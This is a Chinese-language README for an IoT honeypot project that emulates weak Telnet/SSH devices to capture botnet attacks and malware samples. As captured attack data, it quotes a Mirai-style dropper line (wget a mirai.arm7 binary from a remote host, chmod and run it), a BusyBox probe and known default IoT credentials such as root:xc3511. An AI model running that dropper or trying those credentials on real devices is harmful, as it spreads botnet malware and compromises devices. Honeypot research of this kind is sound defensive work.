AnandBinuArjun/SENTINEL-IOT

GitHub: AnandBinuArjun/SENTINEL-IOT

一个轻量级物联网蜜罐平台,用于模拟脆弱设备、捕获僵尸网络攻击并生成实时威胁情报。

Stars: 17 | Forks: 2

# SENTINEL-IoT ### 全球物联网僵尸网络早期预警传感器网络 ![仪表板预览](https://r2.fivemanage.com/a4pdsZOQMmCMFV6BoxOUW/Screenshot2026-01-11002934.png) **开发者:** [Anand Binu Arjun](https://anandbinuarjun.live/) **代码仓库:** [https://github.com/AnandBinuArjun/SENTINEL-IOT](https://github.com/AnandBinuArjun/SENTINEL-IOT) ## 📜 目录 - [为什么存在这个项目](#-why-this-exists) - [与众不同之处](#-what-makes-this-different) - [实时产生的威胁情报](#-live-intelligence-produced) - [架构与技术栈](#-architecture--tech-stack) - [检测面](#-detection-surface) - [实时攻击活动示例](#-example-live-campaign) - [杀伤链模型](#-kill-chain-model) - [公共威胁情报源与数据库](#-public-threat-feed--database) - [伦理与法律模型](#-ethical--legal-model) - [VPS 加固模型](#-vps-hardening-model) - [安装、配置与使用](#-installation-configuration--usage) - [未来路线图](#-future-roadmap) ## 🚨 为什么存在这个项目 互联网上充斥着自动化恶意软件(如 Mirai、Gafgyt、Mozi),它们 24/7 不间断地扫描易受攻击的物联网设备。传统防火墙只是阻挡这些流量——虽然能检测到,但无法从中学习。攻击者不断进化,在几分钟内就能改变 IP 地址和攻击载荷。 **SENTINEL-IoT** 颠覆了这一模式。它不是阻挡攻击,而是 **邀请** 攻击。它模拟一个易受攻击的摄像头、路由器或 DVR,让攻击者得以“入侵”。一旦进入,每一次按键、命令以及下载的恶意软件二进制文件都会被静默捕获、分析和指纹识别。 这将噪音转化为 **情报**,为防御者提供受感染设备的 IP 地址,*甚至早于*这些设备能对高价值目标发动攻击的时间。 ## ⚡ 与众不同之处 大多数蜜罐系统复杂、笨重或纯属学术研究。SENTINEL-IoT 专为 **高保真度的生产环境部署** 而配置: 1. **轻量级核心**:可在每月 5 美元的 VPS 或 Raspberry Pi (Zero/3/4) 上运行,资源占用极小。 2. **混合欺骗技术**:同时模拟 **Telnet** (23) 和 **SSH** (22)——这两个最常被物联网恶意软件利用的入口。 3. **毛玻璃 UI 设计**:一个令人惊艳的实时仪表板,看起来像 SOC 屏幕,专为安全中心的大型显示器设计。 4. **集成恶意软件下载器**:自动识别 `wget`/`curl` 命令,剥离参数,并安全地下载恶意软件样本以供逆向工程。 5. **智能日志记录**:采用双重日志策略(SQLite 用于实时应用访问 + 文本文件用于可靠的冷存储)。 ## 🧠 实时产生的威胁情报 该系统作为一个被动的情报收集节点,产生三种不同类型的威胁情报: 1. **源头情报('谁')** - 暴力破解攻击的来源。 - 识别受感染的家用路由器与防弹主机托管服务。 - 攻击频率和持续性跟踪。 2. **凭据情报('如何')** - 攻击者当前正在尝试的弱用户名/密码字典。 - *真实示例:*`admin:1234`(通用),`root:xc3511`(Dahua DVR),`realtek:realtek`(路由器芯片)。 3. **攻击载荷情报('什么')** - Shell 脚本(`.sh`)。 - 二进制文件 URL(`http://malware.srv/bins/arm7`)。 - 特定僵尸网络家族(Mirai, Tsunami, Hajime)的命令序列。 ## 🏗 架构与技术栈 系统由三个解耦的微服务组成,通过本地 SQLite 桥接进行通信。 ``` graph TD Attacker[Attacker / Botnet] -->|Telnet :2323| TelnetSensor[Telnet Emulator] Attacker -->|SSH :2222| SSHSensor[SSH Emulator] TelnetSensor -->|Log Attack| SQLite[(Shared Intel DB)] TelnetSensor -->|Backup Log| TextLogs[Flat Files] SSHSensor -->|Log Attack| SQLite SSHSensor -->|Backup Log| TextLogs SQLite -->|Read Stats| API[FastAPI Backend] API -->|JSON Feed| Dashboard[Flask Web UI] Dashboard -->|View| Analyst[Security Analyst] ``` ### 技术信息 - **模拟器**:纯 Python 3.10+,使用 `socket` 和 `paramiko`。无需外部系统二进制文件。 - **后端**:`FastAPI`(高性能异步 I/O)。 - **前端**:`Flask` + `Jinja2` + 原生 CSS(毛玻璃设计系统)。 - **数据库**:`SQLite3`(支持 WAL 模式,零配置)。 - **环境**:通过 `.env` 文件配置管理(遵循 12-Factor App 原则)。 ## 🎯 检测面 SENTINEL-IoT 模拟以下“哑”设备,以专门吸引针对这些设备的恶意软件: | 服务 | 端口 | 模拟角色 | 目标恶意软件 | | :--- | :--- | :--- | :--- | | **Telnet** | 23/2323 | BusyBox/Linux 路由器 | Mirai, Gafgyt, Qbot | | **SSH** | 22/2222 | Ubuntu 服务器 / OpenWRT | 加密货币挖矿程序, Tsunami, 隐形加载器 | | **HTTP** | 80/8080 | *(计划中)* Web 面板 | Log4j, 摄像头管理面板 | *注意:系统默认使用高端口(2222/2323)以无需 root 权限运行。您可以使用 `iptables` 或路由器端口转发将这些端口映射到 22/23。* ## 📝 实时攻击活动示例(真实数据) *由 SENTINEL-IoT 节点于 2026-01-11 捕获:* **1. 试探(暴力破解)** **2. 入侵(Shell 命令)** ``` enable shell sh /bin/busybox MIRAI ``` *攻击者尝试检查 shell 是否为特定的 Busybox 版本。* **3. 投递(恶意软件下载)** ``` cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.14.x.x/bins/mirai.arm7; chmod 777 mirai.arm7; ./mirai.arm7 ``` *此时,SENTINEL-IoT 会拦截该 URL,将文件下载到沙箱中,计算其哈希值(SHA-256),并在执行前终止连接。* ## ⛓ 杀伤链模型 SENTINEL-IoT 故意在 **网络杀伤链** 的前三个阶段运作: 1. **侦察**:检测扫描开放端口的 IP 地址。 2. **武器化**:捕获使用的具体漏洞利用载荷或密码组合。 3. **投递**:拦截恶意软件二进制文件的投递。 **干预点:** 我们在第 4 阶段(利用)进行干预。我们 **不** 执行恶意软件(安装),也不允许其联系 C2(命令与控制)服务器。这既保护了您的基础设施,也防止蜜罐参与 DDoS 攻击。 ## 🌐 公共威胁情报源与数据库 ### API 访问 系统暴露了一个轻量级 API,用于与其他安全工具(SIEM、SOAR)集成。 - **摘要情报源**:`http://:8000/dashboard/stats` - **热门 IP 情报源**:`http://:8000/feed/ips` ### 数据库结构 (`intel.db`) 支持直接 SQL 访问,用于高级分析。 **表:`attacks`** | 列名 | 类型 | 描述 | | :--- | :--- | :--- | | `id` | INTEGER | 主键 | | `ip` | TEXT | 攻击者源 IP | | `type` | TEXT | 攻击类型 / 服务 (ssh, telnet) | | `timestamp` | TEXT | UTC ISO 8601 时间戳 | **表:`malware`** | 列名 | 类型 | 描述 | | :--- | :--- | :--- | | `hash` | TEXT | 下载二进制文件的 SHA-256 哈希值 | | `family` | TEXT | 恶意软件家族猜测(如 Mirai) | | `timestamp` | TEXT | 捕获时间 | ## 🛡 伦理与法律模型部署 - **仅被动交互**:我们绝不进行反击。我们只监听发送给我们的流量。 - **不收集 PII**:我们不收集个人数据;只收集机器生成的攻击流量。 - **隔离**:恶意软件绝不被执行。它被下载到一个非可执行目录(`sample_binaries/`)仅用于静态分析。 - **ISP 合规性**:系统设计为低噪声出站。它不进行出站扫描,确保您不会因滥用行为被 ISP 标记。 ## 🔒 VPS 加固模型 在将此系统部署到公共互联网之前,请确保您的主机是安全的: 1. **隔离**:在 Docker 容器或专用虚拟机中运行。 2. **防火墙**: - 允许入站:2222(传感器)、2323(传感器)、5000(仪表板)、8000(API)。 - **阻止出站**:端口 25(SMTP)、445(SMB),以防信息泄露。 3. **主机密钥管理**:用于 SSH 的 `host.key` 在首次运行时唯一生成,以防指纹识别。**请勿将此密钥提交到 Git。** ## 💻 安装、配置与使用 ### 1. 统一启动 (Windows) - **推荐** 双击 `start_all.bat`。它会处理环境激活和进程执行。 ### 2. 手动安装 (Linux/Mac/手动 Windows) ``` # 克隆 repo git clone https://github.com/AnandBinuArjun/SENTINEL-IOT.git cd SENTINEL-IOT # 设置 Environment pip install -r requirements.txt # 配置 Environment cp .env.example .env nano .env # Edit your secrets and ports # 运行 Components(在独立终端或通过 Screen/Tmux) python backend/api.py python dashboard/app.py python sensor/services/telnet_emulator.py python sensor/services/ssh_emulator.py ``` ### 3. 配置 (`.env`) | 变量 | 默认值 | 描述 | | :--- | :--- | :--- | | `HOST_IP` | 0.0.0.0 | 绑定地址。仅本地访问可使用 127.0.0.1。 | | `DASHBOARD_PORT` | 5000 | Web UI 的端口。 | | `API_PORT` | 8000 | 后端 API 的端口。 | | `DB_PATH` | backend/intel.db | SQLite 数据库的位置。 | ### 4. 访问 - **仪表板**:`http://localhost:5000` - **API 文档**:`http://localhost:8000/docs`(由 FastAPI 自动生成) ## 🔮 未来路线图 - [ ] **Docker 支持**:提供 `docker-compose.yml` 文件实现一键部署。 - [ ] **GeoIP 集成**:在仪表板上将攻击映射到国家。 - [ ] **Discord Webhooks**:为高优先级事件提供实时警报。 - [ ] **Ja3 指纹识别**:高级 SSH 客户端指纹识别。 *本项目仅用于教育和防御研究目的。请负责任地使用。*
标签:API哈希动态解析, Gafgyt检测, IoT安全, Mirai分析, 传感器网络, 僵尸网络检测, 公共威胁馈送, 威胁情报, 威胁数据库, 实时可视化, 开发者工具, 恶意软件捕获, 攻击捕获, 早期预警系统, 物联网安全, 玻璃态设计, 网络安全监控, 蜜罐网络, 设备模拟, 诱饵技术, 逆向工具, 驱动开发